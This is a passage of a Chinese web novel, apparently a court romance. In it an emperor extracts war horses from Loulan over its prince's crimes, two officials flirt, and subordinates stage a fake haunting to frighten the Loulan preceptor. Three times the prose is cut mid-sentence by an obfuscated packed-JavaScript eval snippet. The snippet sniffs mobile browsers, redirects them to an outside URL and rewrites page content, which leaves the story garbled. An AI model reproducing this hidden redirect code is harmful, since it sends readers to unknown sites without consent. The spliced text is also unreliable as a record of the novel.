大王子在山上挨了顿打,被拖下山的时候挨了台阶的“问候”,温泽这一脚力道极沉,不偏不倚,正好落在大王子一路被拖拽磕碰、早已青紫淤血的伤处。 “啊——!” 钻心刺骨的剧痛瞬间席卷全身,大王子浑身一颤,蜷缩在地,嘴里爆发出凄厉至极的惨叫,额上瞬间布满冷汗,疼得浑身抽搐。 “温卿,够了。” 虞睿祥声线平淡,带着一丝威严制止。 可此刻入戏太深的温泽,满脑子都是丧女之痛,脚下动作未停,依旧狠狠踹打着地上的人。 人群角落,燕修延死死抿着唇,肩膀微微耸动,憋笑憋得胸腹发酸、眼眶发红。 他微微侧头小声告诉谢伟恒:“笑死我了,温泽这傻子,压根没想起陛下是在叫他。” 谢伟恒垂眸看着眉眼弯弯、强忍笑意的人,眼底盛满温柔宠溺,悄然伸手,五指穿插轻轻捏住燕修延微凉的指尖,慢悠悠摩挲把玩。 虞睿祥又说了一遍。 温泽才后知后觉回过神来,装作情绪彻底失控、难以自控的模样,又狠狠补踹了大王子一脚才堪堪收势,踉跄着退回到板车旁,双膝重重跪地,低头垂泪,泪珠滚滚而落,哽咽不止。 绝望、悲痛、疯癫又无助的丧父模样,被他演绎得淋漓尽致、入木三分,任谁看了都心生怜悯。 国师擦去额上层层叠叠的冷汗,后背衣衫早已被冷汗浸透,黏在身上,心底反复斟酌措辞,小心翼翼开口:“皇帝陛下,温大人此刻悲痛攻心、情绪过激,此刻审问难免有失偏颇。不如暂且搁置,待温大人心绪平复,再细细彻查此案,更为妥当。” “我很冷静!” 温泽声嘶力竭:“我半点都不糊涂!只要给我一把刀,我今日就当众捅死你们的大王子,为我女儿偿命!” 虞睿祥眸光微转,掠过堂下众人,又望向衙门外群情激愤的百姓,故作沉吟思索之态:“此处人声嘈杂、乱象丛生,确实不宜审案。待温卿冷静,再行定夺。” 燕修延领会圣意,故意压低声音,却足以让周遭众人听清,佯装愤愤不平地小声嘀咕:“陛下这般拖延,莫非是想偏袒包庇这楼兰的狗杂种,轻纵罪人?” 这话瞬间勾起周遭百姓的疑虑,细碎的质疑声悄然响起。 苏公公即刻顺着皇帝的眼色,跨步上前,面色一厉,高声训斥:“无知庶民!得见天颜、承蒙圣断,已是尔等三生荣幸,竟敢私下揣测、质疑圣裁!放肆!来人,将门外闹事百姓尽数收押,严加看管!” 国师一看,灰暗的眼底亮起一丝微光。 有戏! 皇帝当众关押所有知情百姓,肯定是有意压下舆论、遮掩此事,怕是不想彻底与楼兰撕破脸面、断绝邦交。 现在就看楼兰给出的好处,能否打动大虞的皇帝,保全大王子性命。 换了一处,虞睿祥抬手示意让人将扮作伤者的温瑞、朱语秋二人送回温府安置休养。 温泽失魂落魄一般,脊背佝偻,垂着头一言不发,唯有泪水不停滴落,打湿衣襟,一副痛彻心扉、几近麻木的模样。 国师早已趁着移步的间隙,压低声音、飞快叮嘱完大王子,接下来无论对方如何质问、如何打骂,只管低头认错,闭口辩驳,处处表现出深爱温家小姐、悔恨万分的模样,唯有示弱悔过,方能保命。 “皇帝陛下。” 国师抬眼看向端坐上位的虞睿祥,语气极尽卑微诚恳,带着十足的试探:“此事皆为大王子一己之过,他年少轻狂、情根深种,太过爱慕温家小姐,一时迷了心窍、失了分寸,才酿成大祸,绝非有意作恶。” 大王子连忙配合,不停点头,满脸“悔恨”:“是我!我真心爱慕温姑娘,一心想娶她为楼兰王妃,日后立她为楼兰王后,绝非有意逼迫!” “爱慕?” 温泽被这话激怒,抬头目眦欲裂,厉声怒斥:“这般逼死人命的爱慕?那我若是爱慕你,反手将你折磨致死,再同你说一句心生爱慕,你可愿意接受?!” 国师知道此刻口舌之争毫无意义,唯一能打动皇帝、平息事态的,唯有实打实的好处:“楼兰自知理亏愿以最大诚意致歉补偿!此前约定的两千匹良马悉数奉上,此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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殿中闲杂人等尽数退去,偌大的偏殿瞬间空旷下来。 只剩他、国师、大王子。 而内室屏风之后,另有二人静立。 燕修延借着“暗中护驾、防备不测”的由头,正大光明躲在暗处听完全程,听得津津有味、兴致盎然,眼底满是看戏的狡黠笑意。 谢伟恒全然不在意殿中拉扯博弈,始终垂眸凝望着燕修延,指尖细细摩挲着他的指节,温柔黏人片刻不肯松开。 殿顶房梁之上,隐匿身形的皇家暗卫悄然移开视线,谢大人真的好黏燕大人。 虞睿祥端起案上清茶,浅浅啜了一口,茶雾氤氲,模糊了他眼底深浅难测的神色。 “国师都要留在京城了,你如今身在大虞,口中许诺的车马珠宝,又如何能保证尽数兑现?” 国师连忙抬头,急切辩解:“陛下放心!我即刻修书交由大王子带回楼兰,呈递国王陛下,定然如期奉上所有补偿!” “呵呵。” 虞睿祥低低轻笑一声,终于抬眸,狭长的眼尾带着似有若无的冷意,似笑非笑地看着他:“大王子一旦脱身归国,便是天高任鸟飞,海阔凭鱼跃。届时远在西域,天高路远,朕又如何保证楼兰不会反悔食言?” 国师心头巨震,听懂了帝王的言外之意——皇帝,根本不肯放大王子离开大虞! 万般焦灼之下,国师只能咬牙妥协:“那、那便让大王子暂时滞留京城,身为质子!我即刻归国面见我王,调集良马珍宝,尽数送来大虞,再亲自换回大王子,如此可行?” 虞睿祥缓缓合上茶盏盖子,清脆的瓷响划破殿中寂静。 他将茶盏轻置于御案之上,双目半阖,修长的指尖轻轻轻点桌面,节奏缓慢,却带着无形的压迫感,每一下都重重敲在国师的心头,让人心神紧绷、坐立难安。 时间一分一秒流逝,国师心神不宁、汗流浃背,几乎快要撑不住这窒息的沉默。 良久,虞睿祥才不紧不慢开口:“可以。朕派五千精锐人马,护送国师归国。” 国师浑身一凉,后背瞬间被冷汗浸透,双腿微微发软。 他洞悉了帝王的深意。 这哪里是护送? 分明是押送!是兵临楼兰! 五千精锐紧随其后,若是楼兰国王稍有迟疑、不肯妥协赔付,这五千人马便是先锋,即刻开战! 一旦两国开战,以楼兰的弱小国力,根本无力抗衡大虞。 届时周边一众觊觎西域疆土的小国,必定蜂拥而至,趁乱瓜分楼兰国土、掠夺资源,楼兰的基业,顷刻间便会分崩离析、彻底覆灭! “不、不必如此劳师动众!” 国师声音发颤,连忙躬身推辞:“楼兰都城狭小贫瘠,万万安置不下五千精锐将士,太过叨扰、太过铺张了!” 164. 另种层面的“两败俱伤” 虞睿祥指尖轻搭微凉的玉质扶手,神色平淡无波,语气漫不经心却带着不容置喙的帝王威压:“无妨,楼兰若是介怀,五千护送兵马可不必入城,驻守都城外围即可。若是仍旧不放心,让大军折返楼兰边境待命,亦无不可。” 话语温和退让,可字字句句都堵死了所有退路。 五千大虞兵马名为护送,实为监视牵制,这支铁骑的部署,早已是板上钉钉、绝无更改的定局。 国师脊背早已被层层冷汗浸透,厚重的衣服黏贴在背脊之上,闷得人心口发紧。 他飞速绞尽脑汁思索着婉转回旋的对策,可帝王看似宽容的字句里,藏着密不透风的牢笼,让他无从辩驳、无处突围。 虞睿祥眼帘微抬,轻飘飘吐出一句石破天惊的话语,宛如一道惊雷轰然炸在国师与大王子耳畔。 “只是朕忽然好奇,倘若楼兰国王知晓,疼宠多年的大王子并非自己亲生骨肉,不知会作何感想?” 大王子脸色骤然惨白,瞳孔猛地收缩,心底的慌乱瞬间冲破沉稳伪装。 他几乎是脱口而出,语气急促慌乱,带着一丝破防的失态:“不可能!我是父王亲生的!陛下此言纯属无稽谣言!” 国师不可能承认这件事,他浑身紧绷,当即俯身拱手,神色凝重竭力辩解:“皇帝陛下!此乃小人恶意编造的流言蜚语,纯属造谣生事,万万不可轻信!绝非事实!” 虞睿祥唇角勾起一抹浅淡莫测的弧度,眼底掠过一丝深谙人心的深邃:“真假从来无关紧要,重要的是远在楼兰的国王会不会信。 当然,大虞素来愿与楼兰交好。若是楼兰诚意十足,朕可赠予楼兰五门威力骇人、所向披靡的雷火炮。他日两国边境安稳,大虞亦可划出一片水土丰饶、地势绝佳的沃土,供楼兰举国迁址安居。” 恩威并施,雷霆与怀柔并举,短短数语,便将楼兰死死拿捏在掌心。 这场拉锯谈判落幕之时,国师心神俱疲、手脚发软,双腿早已站得发麻,几乎无力行走。 最终是两名内侍上前,一左一右小心翼翼搀扶着他,才踉跄狼狈地退出御书房。 而大王子则被虞睿祥一句“留宫休憩”拦下,悄然禁足宫中,由禁卫层层看管,形同软禁。 燕修延眉眼一亮,侧身轻轻碰了碰谢伟恒,眼底满是狡黠灵动的笑意。 这场惊心动魄的朝堂博弈热闹看完,再留下来,必定要被陛下抓着处理后续琐事,纯属自讨苦吃。 燕修延脚步轻盈,快步溜到窗边,抬手拨开精致的菱花窗棂,微热的风顺着窗缝涌入。 他双手稳稳撑在窗框两侧,身形微微前倾,正打算带着谢伟恒翻窗溜走,身后忽然传来一道带着笑意的清朗嗓音。 “修延这是准备去哪儿?” 虞睿祥的声音精准响起,带着几分洞悉一切的戏谑。 燕修延动作一顿,身形僵在窗边,随即从容回头,眨了眨眼,唇角扬起一派坦荡又虚假的温柔笑意,一本正经地胡诌:“陛下,我与谢书令方才正倚窗赏景,尽享花前月下的雅致呢。” “睁着眼睛说瞎话。” 虞睿祥无奈又好笑地抬手,指尖轻轻一点他的眉心,语气带着十足了解:“你这性子,朕还不清楚?分明是生怕朕开口派你率军远赴楼兰坐镇。” 燕修延收了偷溜的姿态,转过身嬉皮笑脸:“哪儿能啊,陛下但凡有差事吩咐,我何时推诿过半句,从来都是二话不说、尽心办妥!” “哦?” 虞睿祥微微拖长语调,眼底玩味更浓,故意试探:“既然如此,此番楼兰善后事宜便交由……” 谢伟恒上前半步,身姿挺拔,语调沉稳温和,恰到好处地接过话茬,稳稳替燕修延解围:“陛下,臣举荐锦家锦似程。此人沉稳干练、心思缜密,熟知边境外事,最适合前往楼兰督办诸事。” 虞睿祥略一沉吟,心底暗自认可,锦似程确实是绝佳人选,稳妥靠谱。 可他偏要故意逗一逗燕修延,存心不如他的意。 “锦似程固然合适……” 虞睿祥故作沉吟,目光落回燕修延身上,语气带着几分笃定:“可朕觉得,修延年少有为、机敏过人,也该远赴边境历练历练,增长阅历。” 方才还满脸得意、轻松狡黠的燕修延,脸上的笑意瞬间一僵,嘴角微微耷拉下来,眼底闪过一丝猝不及防的无奈。 谢伟恒看得分明,并未直接当众驳回帝王旨意,语气恭谨却带着不容动摇的坚定,从容开口:“陛下所言极是,历练确实有益于燕大人成长。既是差事辛苦,臣恳请随同燕大人一同前往,伴其左右,共担事务,一同历练。” 虞睿祥…… 好好好,这哪里是劝谏举荐,分明是拿自己拿捏燕修延的心思反过来拿捏他! 谢伟恒这是摆明了,燕修延若是远赴楼兰,他便寸步不离相随,朝堂中枢少了两位重臣,得不偿失。 虞睿祥只觉得满心糟心,无奈摆手挥了挥,彻底放弃了逗弄的心思:“行了行了,朕随口一试罢了,何曾真要派修延前去。都散了,朕还要批阅奏折。” 得了赦免,燕修延瞬间眉眼舒展,笑意重回眼底,毫不拖沓,转身利落翻身跃出窗外,动作行云流水、干脆利落。 谢伟恒紧随其后。 殿外值守的宫人、禁卫尽数看呆了,一个个瞪圆了眼睛,僵在原地,满脸的难以置信。 他们今日莫不是眼花了?素来端庄肃穆、恪守礼教的谢书令,竟然跟着燕大人翻宫窗溜走了? 虞睿祥望着窗外两道转瞬消失的身影,无奈又宠溺地轻轻摇头。 谢伟恒这清冷自持的性子,如今真是被燕修延彻底带偏了,一言一行、一举一动,越来越像那个跳脱随性的家伙。 这样也好! “我就知道陛下心里打着让我去楼兰的算盘,还好有你救场!” 燕修延落地站稳,放松下来,笑着抬手重重拍了拍谢伟恒的肩膀,眼底满是庆幸与雀跃:“大功一件,我请你吃饭! 谢伟恒缓步走到他身侧,温润的眉眼盛满柔光,浅浅一笑:“盛情难却,自当却之不恭。” 二人并肩而行,径直去往谢家名下最负盛名的酒楼。 雅间之内,珍馐佳肴摆满一桌,色香味俱全。 酒足饭饱之后,燕修延半点掏钱的意思都没有,坦然让掌柜记在谢伟恒的账上。 燕修延笑咪咪道:“我请客,你花钱,分工明确,没毛病吧?” “自然没有。” 谢伟恒顺势抬手,修长的小指轻轻勾住燕修延的小指指尖,指腹细腻温热,带着缱绻的暖意:“燕大人今日吃得可还满意么?” 燕修延用力点头,眉眼清亮:“厨子手艺绝佳,半点不输宫中御膳,味道极好。” 谢伟恒唇角的笑意愈发深邃温柔,眼底藏着淡淡的缱绻深意:“燕大人满意,便不负此番心意。” 这意味深长的笑容太过暧昧,藏着说不清道不明的情愫。 燕修延心头微动,停下脚步,微微眯起眼眸警惕地盯着他:“你笑得怪怪的,又在背地里憋什么坏水呢?” 谢伟恒垂眸望着他戒备又鲜活的模样,眼底满是无辜,语气纯粹坦荡:“燕大人为何总要这般揣测我?” 他这幅清白无辜的模样,反倒让燕修延心底更没底。 燕修延抬手指腹轻轻点了点他的下颌,带着几分警告的语气:“我警告你,今晚回去乖乖睡觉,不许胡思乱想、不许做旁的事,听见没有?” 眼底的旖旎心思被戳破,谢伟恒眼底掠过一丝浅浅的遗憾,乖乖应声:“好吧。” 见他应声顺从,燕修延反倒来了底气,抬手轻点他的额头:“我就知道,你脑子里尽是些乱七八糟的心思!” 谢伟恒抬手稳稳握住他轻点自己额头的手,轻轻攥住不肯松开,微微俯身,气息轻轻扫过燕修延的耳畔:“我已然答应燕大人安分守己,可燕大人偏要一再揣测我、调侃我,那我若是不做些什么,岂不是辜负了燕大人的期待?” “不、许!” 燕修延腾出另一只手,轻轻捂住他的嘴:“你给我老老实实的,听懂了?” 谢伟恒眼底笑意温柔泛滥,乖乖颔首,嗓音低低软软:“嗯,都听燕大人的。” “快看,那是燕大人和谢书令吧?看着也□□爱了!” “可不是嘛,这般旁若无人的温情,真是羡煞旁人,看得我都想起年轻时候的光景了。” “真好啊,岁岁年年,温情不改。” 细碎的赞叹落在耳畔。 燕修延紧紧攥住谢伟恒的手,加快脚步想要快步逃离众人的目光。 谢伟恒指尖微微弯曲轻轻挠了挠燕修延的掌心,带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646322|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几分戏谑的温柔,低声笑道:“旁人所言皆是实情,我们本就恩爱契合,为何要害羞躲闪,不敢让人看去?” “恩……那也不能站在那任由旁人围观议论啊!” 燕修延羞赧得说不出来那两个字,只能死死攥着谢伟恒作怪的手,埋着头快步往前走,步伐仓促。 谢伟恒落后半步,静静望着燕修延泛红的耳尖、绷紧的脖颈,眼底情意柔软得快要溢出来。 这样一个嘴硬心软,性情鲜活桀骜,向来羞于将情爱挂在嘴边的人,对床笫之事并不热衷的人,却每每对自己百般纵容、事事顺着。 嘴上总带着强势的警告与嗔怪,却从来不曾真正推开自己半分。 从来都是软着心底、顺着情意,包容自己所有的偏执与温柔。 “怎么不说话了?” 走了一段路,燕修延回头对上谢伟恒沉沉温柔的眼眸,微微一怔:“不是——你干嘛?” 谢伟恒微微用力,拽着燕修延转身拐进路边一条幽静僻静的小巷。 巷内远离街市喧嚣,晚风穿巷而过,吹动细碎树影,静谧无人。 他抬手将燕修延牢牢拥入怀中,怀抱温暖紧实,力道温柔又坚定,将满心满眼的爱意尽数倾注其中,深邃的眼眸里,盛着满到快要溢出的深情与执着。 “没什么。” 他低头抵着燕修延的耳畔,嗓音低沉真挚,字字恳切,声声入心:“只是忽然很想告诉你,我心悦你、爱慕你。不止此生此世,人间一遇,我更盼生生世世,岁岁年年,与你相守不离。” 突如其来、毫无铺垫的深情告白,滚烫又真挚,狠狠撞进燕修延心底。 他整个人彻底愣住,怔怔靠在他怀里,一时失语。 下一瞬,滚烫的热度瞬间席卷整张脸颊,从面颊红到脖颈,滚烫得像是被烈火灼烧一般,心跳骤然失序,砰砰狂跳不止。 “你、你别以为说两句好听的情话,今晚我就纵容你乱来!怎么你还想生生世世都赖着我、睡我啊?” 其实……也不是不行,都睡熟了。 这句话燕修延是万万不敢说出口的,说了回家就得被拖上床了。 他太了解谢伟恒的性子。 旁人欢喜是赠礼、轻言甜语、设宴相陪什么的。 谢伟恒欢喜的直观表达方式就是身体力行的去表达。 这样导致的直接结果只会落得他嗓子沙哑、腰酸乏力,而谢伟恒满身抓痕。 也算是另一种层面上的“两败俱伤”。 谢伟恒早已习惯了燕修延这般煞风景的嘴硬,拥着怀中温热的人,他语气幽怨:“既然燕大人总这般曲解我的心意、处处揣测我,那我总得做些什么,才不辜负燕大人的满心期待。” 燕修延一手轻轻拍着他的后背安抚,一手伸出指尖用力戳了戳他温软的脸颊,一字一顿,语气强硬又软糯:“我什么期待都没有!你别胡思乱想!” “呦!我就说咱头儿肯定在这附近吧!” 从巷口探出来一二三四五颗脑袋。 温瑞得意洋洋地说道:“方才街上有人议论,说看见头儿跟谢大人温存亲昵,我一猜他们肯定还没回去,果然在这儿!” 温泽等后缩回脑袋,有些意外。 以往若是被下属撞见这般私密场景,燕修延必定会开口训斥、厉声打趣,可今日巷内却安安静静,迟迟没有传来熟悉的调侃与呵斥声。 燕修延顺势抬手轻轻拍了拍谢伟恒的胸口,温柔推开怀抱自己的人,脸上的羞赧尽数敛去,重新挂起惯常的从容笑意。 “温瑞今日倒是格外聪明。” 突如其来的夸奖,让温瑞浑身僵硬,脸上的得意褪去,连连后退好几步,满眼惊恐与忐忑,声音都微微发颤:“头、头儿!你突然夸我……是不是有什么特别危险、没人愿意做的差事,要交给我去办啊?!” 从小到大的经验告诉他,自家头儿越是温和夸赞,越是暗藏“陷阱”。 “出息。” 燕修延好笑的抬脚轻轻虚踹温瑞一下,语气恢复了往日的随性慵懒:“行了,都别堵在巷口扎眼碍事。有什么事,换个地方再说。” 温瑞挨了这熟悉的一脚,松了长长一口气,彻底放下心来,脸上的惊恐尽数消散。 还好,还是那个熟悉的、嘴硬心软的头儿,方才的夸奖果然只是错觉。 165. 莫非心里没有我 温瑞他们来,其实没什么大事,就是想打听下陛下怎么处理大王子的。 谢府曲水亭的石桌上错落摆着冰镇瓜果、咸甜茶点,以及燕修延说故事必不可少的瓜子。 听到陛下要派五千人马跟着一起去楼兰,都不由得低声惊呼:“五千人马?陛下这是……要和楼兰开战了?” 燕修延捏起一小块瓜子皮轻轻丢向他们:“想什么呢,陛下只对楼兰的马感兴趣,他不想打,楼兰也不敢打。” 白天铎掰着手指头细细盘算,越算越咋舌:“这么说,楼兰要白白给咱们大虞五千匹战马?我的天,这几乎掏空他们西域小国的大半家底了!” 燕修延轻轻摇晃食指:“非也非也。常言道做人留一线,日后好相见。陛下深谙制衡之道,绝不会赶尽杀绝。而且你们当真以为,仅凭一道旨意,楼兰国王就会心甘情愿掏出五千匹良马?” 肖泽开玩笑着接话:“依我看,若是咱们搂底要,楼兰国王说不定直接撂挑子‘这儿子我不要了,你们干脆让他以命抵罪给人家姑娘赔罪算了’。” 这话生动贴切,瞬间逗笑了众人。 温泽转头看向温瑞,挤眉弄眼,故意调侃:“肖泽这话没毛病,你说是不是啊,咱们温柔细腻的温家小美人?” 温瑞猝不及防被他打趣,又气又笑,抓起桌上一把瓜子皮就往温泽身上丢:“哎呀,靠!失手了!” 瓜子皮塞嘴里了。 朱语秋不同于众人关注战马数量、两国博弈,她满心惦记的是:“真不能半夜扮鬼好好吓一吓他?” 燕修延抬了抬下巴,眉眼带笑,故意逗她:“你进皇宫里吓他呗。” 皇宫禁地守卫森严,又有严国师坐镇,寻常鬼魅伎俩根本无从施展。 朱语秋略一思索,果断放弃,她另辟蹊径:“大王子看守太严,不好动手,那我们换个目标呗。去吓唬国师让他夜夜做‘噩梦’,梦里全是大王子受尽非人折磨的惨状。” 然后陛下再吓唬吓唬他。 如果大王子真的是国师的孩子,他必然会拼尽全力催促楼兰国王凑齐战马赎人,乖乖顺着大虞的心思来。 燕修延眼中掠过一抹赞赏,抬手将盘中瓜子推了推:“可以啊,心思够通透的,就按你说的办。” 大王子出了这么个事,楼兰使团众人早已没了初到大虞时的傲气与闲散,再也无人敢上街闲逛打探风土人情。 他们原本确实带了任务,目的是暗中探查大虞国力、民生、军备,想要为楼兰谋取便利。 用虞国的话来说就是“知己知彼,百战不殆”。 国师站在窗前,神色警惕,先是侧耳细听门外动静,确认守卫尽数守在院外、无人靠近后,才小心翼翼探头望向窗外,扫视一圈无人窥探,才轻手轻脚合拢窗扇,落锁关严。 回身落座,他把皇帝另外再要三千匹战马的事情说了,绝口不提这三千匹战马,是自己此前慌乱失言、主动吐露的数目,只将所有压力尽数推给大虞朝廷,一副身不由己的模样。 “再加三千匹?前后共计五千战马,这是要掏空我们数年积蓄!” 同行的楼兰使臣纷纷露出不可思议的表情。 有不少人看不惯大王子仗着国师庇护、在国内横行霸道,此刻冷嗤出声:“大王子行事荒唐,惹出滔天大祸。说实话,一个惹是生非的储君,根本比不上三千匹百战良马值钱。国王又不是只有这一个子嗣,不如直接弃了大王子让他留在大虞抵命便是!” 这话点燃了拥护大王子一派的怒火。 有人瞪眼反驳,声色俱厉:“一派胡言!五王子不过才三岁!他就是个病秧子,常年药石不离,能否顺利长大成人还尚未可知!说不定跟二、三、四王子一样说没就没了!” “呸!你少在此诅咒五王子!” “是你本末倒置,凭什么随意决断王子的生死、国家的取舍!” “够了!” 国师抬手重重一巴掌拍在实木方桌上,“咚”的一声响,桌面震颤不已,桌上青瓷茶杯剧烈摇晃,茶水险些泼洒而出:“吵什么!此事轮不到你们置喙做主!我告知诸位不是让你们争论取舍,是告知你们实情!我们要将这件事情告诉国王。” 人群中有人嗤笑:“传信回去又有何用?国王陛下素来听大王子阿母的话,大国师刚愎自用可不见得会,到头来不过白费功夫。” 国师眼神骤然一厉,阴鸷扫过众人:“会不会,轮不到你妄加揣测!都去收拾吧,至少如今使团之内我说了算!” 喧嚣散尽,偌大的房间只剩国师一人。 他独坐椅上,指尖死死攥紧桌沿,指节泛白,眼底翻涌着焦虑、心疼与算计,面色阴沉得可怕。 五千战马的重压、大王子的安危、国内的局势、大虞的威压,层层叠叠压在他心头,让他心神不宁。 夜色渐深,月隐星稀,整片驿馆沉入寂静,唯有晚风穿庭,悄无声息。 国师洗漱完毕躺卧床榻,辗转反侧难以入眠,满脑子都是战马与大王子的安危,心绪纷乱。 就在他半梦半醒之际,耳畔忽然响起细碎、诡异的窸窣声响。 他想要翻身坐起查看,却骤然发现浑身僵硬沉重,四肢宛若被无形绳索牢牢捆绑,半点动弹不得。 唯有脖颈尚能轻微转动,他强压心底恐惧。 一扭头,刺骨的寒意顺着脊椎直冲天灵盖,浑身血液几乎凝滞。他看见被虐待的没有人形、双目空洞无神的“大王子”。 “!” 国师喉咙剧烈滚动,心中惊涛骇浪翻涌,想要惊呼、想要质问,可嘴巴像是被无形的力量封住,无论如何用力,都发不出半点声音,只能眼睁睁看着眼前惊悚的一幕。 紧接着,一道惨白飘忽的身影缓缓从黑暗中走出。 正是他白日里看见白布下的“女子”。 她一身素白的衣裙,裙摆沾着斑驳暗红血渍,长发披散,面色惨白如纸,不见半点活人血色,一双眼眸漆黑空洞,没有丝毫神采,宛若索命厉鬼。 她俯身凑近动弹不得、满脸惊恐的“大王子”颈侧,微微低头,尖利的唇角勾起一抹诡异弧度,下一瞬,狠狠一口咬了下去! 温热猩红的血液骤然喷涌而出,溅落四方,大半尽数泼洒在国师的脸颊、眉眼之上。 国师目眦欲裂,急得浑身颤抖,心脏像是被一只大手狠狠攥住,窒息般的痛苦席卷全身。 他动不了、喊不出、逃不开,只能被迫直视这场残忍可怖的画面,心神濒临崩溃。 “女子”抬头,猩红的唇边还挂着血珠,目光直直穿透黑暗,锁定床榻上的国师。 她对着他咧开嘴角,露出一个诡异狰狞的笑容,声音幽幽沉沉,如同来自九幽黄泉:“大王子的命,我要定了……谁也护不住。” 话音落下的瞬间,国师只觉得眼前漆黑一片,天旋地转,浓重的眩晕感袭来,彻底失去了意识,轰然瘫软在床。 温瑞卸去身上狼狈的伪装,褪去沾染鸡血的破旧外衫,推开装扮成大王子模样的温泽。 两人配合默契,一人擦拭地面残留的痕迹,一人细细拭去国师脸上、被褥上沾染的鸡血,每一处角落都仔细清理,尽数恢复原状,不留半分破绽。 “宫里那边的戏,应该也落幕了。”温泽抬手揉了揉脸颊,低声开口。 床榻上的国师再次睁开眼时,天已是蒙蒙亮了。 他猛地坐起来,冷汗早已浸透里衣,后背黏腻冰凉,心口剧烈跳动,久久无法平息。 屋内窗明几净,器物整齐,没有血迹,没有厉鬼,更没有受尽折磨的大王子,一切都完好如初。 他抬手抚上满是冷汗的额头,长长松了一口气,紧绷的脊背缓缓放松。 是梦。 这般逼真的噩梦,绝非偶然,怕是冥冥之中的凶兆预示。 “叩、叩、叩。” 敲门声响起,惊得心神未定的国师浑身猛地一颤:“谁?!” “国师,宫中传旨,陛下有请你即刻入宫觐见。” 又是皇宫,又是清晨召见。 国师心头不祥的预感愈发浓重,不敢耽搁,连忙应声:“稍候片刻,待我洗漱更衣,即刻便往。” 他匆匆整理衣冠,压下满心惶然,跟着引路宫人前行。 今日行走的宫道格外偏僻,远离往日繁华的正殿通路,长廊幽深,宫墙高耸,周遭冷冷清清,少有宫人走动,静谧得有些阴森。 一路行至深处,终于抵达一座偏僻荒芜的殿宇。 远远便看见一身龙袍的虞睿祥负手立在殿外廊下,身姿挺拔,神色淡然,周身带着帝王独有的威严气场。 “皇帝陛下。” “国师来了。” 虞睿祥抬手指向殿门之上张贴的明黄色道符,朱砂笔迹凌厉,透着肃穆正气,缓缓开口:“昨夜闹鬼作祟,朕命严国师画了镇邪黄符,镇守此地,庇佑殿中之人。国师不妨进去看看大王子。” “闹鬼”二字入耳,国师脑海中炸开昨夜那场逼真可怖的噩梦,头皮阵阵发麻。 他再也顾不得矜持礼数,脚步急促,几乎是快步冲进殿内。 平日里矜贵高傲的大王子此刻全然没了储君模样。 他狼狈地蜷缩在实木桌案之下,双臂死死抱着一枚软垫头颅,浑身瑟瑟发抖,发丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646323|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凌乱,面色惨白如纸,嘴唇毫无血色。 嘴里不停喃喃自语,语无伦次,满是极致的恐惧:“别杀我……不要杀我……是你自己要跳崖的,不关我的事……别来找我……” 国师目光定格在他的脖颈上,那里横亘着一道清晰的青黑色勒痕,侧边还有一处浅浅的齿痕,大小、位置、形状,与他昨夜噩梦中所见的,分毫不差! 一模一样! 他呼吸一滞,脚步死死钉在原地,瞳孔剧烈收缩,心头惊雷炸响,翻起滔天巨浪。 昨夜……那根本不是梦! 是真的!那索命厉鬼、噬人画面、凄厉低语,全都是真的! “国师!!” 桌下蜷缩的大王子抬头,看见来人的瞬间像是抓到了唯一的救命稻草,眼中瞬间涌上泪水,猛地丢开怀里的软垫,连滚带爬扑过来,死死抱住国师的大腿,崩溃失声大哭:“有鬼!这里有鬼啊!我要回楼兰!我要回家!!” 刺骨的恐惧彻底击溃了这位大王子所有的骄傲与镇定,哭得狼狈不堪,浑身剧烈颤抖。 看着他惊恐崩溃的模样,国师心头又疼又慌,万般酸涩涌上心头,连忙弯腰伸手,紧紧抱住颤抖不止的大王子:“别怕,昨夜那恶鬼……也去找过我了。” 这句话彻底击碎了大王子最后的心理防线。 他瞳孔骤缩像是被烫到一般,猛地用力推开国师,手脚并用地往后退缩,狼狈地缩回桌底。 国师心口一阵抽痛,轻声追问:“昨夜那鬼怪最后是如何退去的?” 大王子眼神空洞涣散,浑身还在止不住的发抖,呆滞了许久,才断断续续、带着哭腔开口:“夜里……有高人闯进来打跑了恶鬼……还贴了镇邪符咒,说有符咒镇守,鬼怪不敢再来……” 国师了然,在大虞皇宫这座偏僻冷殿,有符咒镇守、有皇家龙气庇护,竟是唯一能庇佑大王子、隔绝阴邪鬼怪的安全之地。 他抬手,想要温柔抚摸大王子的头顶安抚他。 可指尖刚伸出,大王子便惊恐地往里缩了缩身子,满眼惧意。 国师指尖一顿终究缓缓收回,眼底满是无奈与心疼:“我马上回楼兰凑齐五千匹战马,带你归去。眼下唯有留在大虞皇宫,你才是安全的。” 大王子紧紧抱着软垫,眼眶通红,声音哽咽怯懦:“可是我还是怕……这里到处都是阴气……” 国师苦涩一笑,眼底满是无力:“若是离开这里,阴鬼再次寻来无人庇佑,我拼尽全力也护不住你分毫。” 大王子垂着脑袋,肩膀微微抽动,沉默不语,只剩无尽的惶恐与无助。 国师定定凝视着桌下狼狈不堪、饱受惊吓的人:“你安心在此等候,等我。” 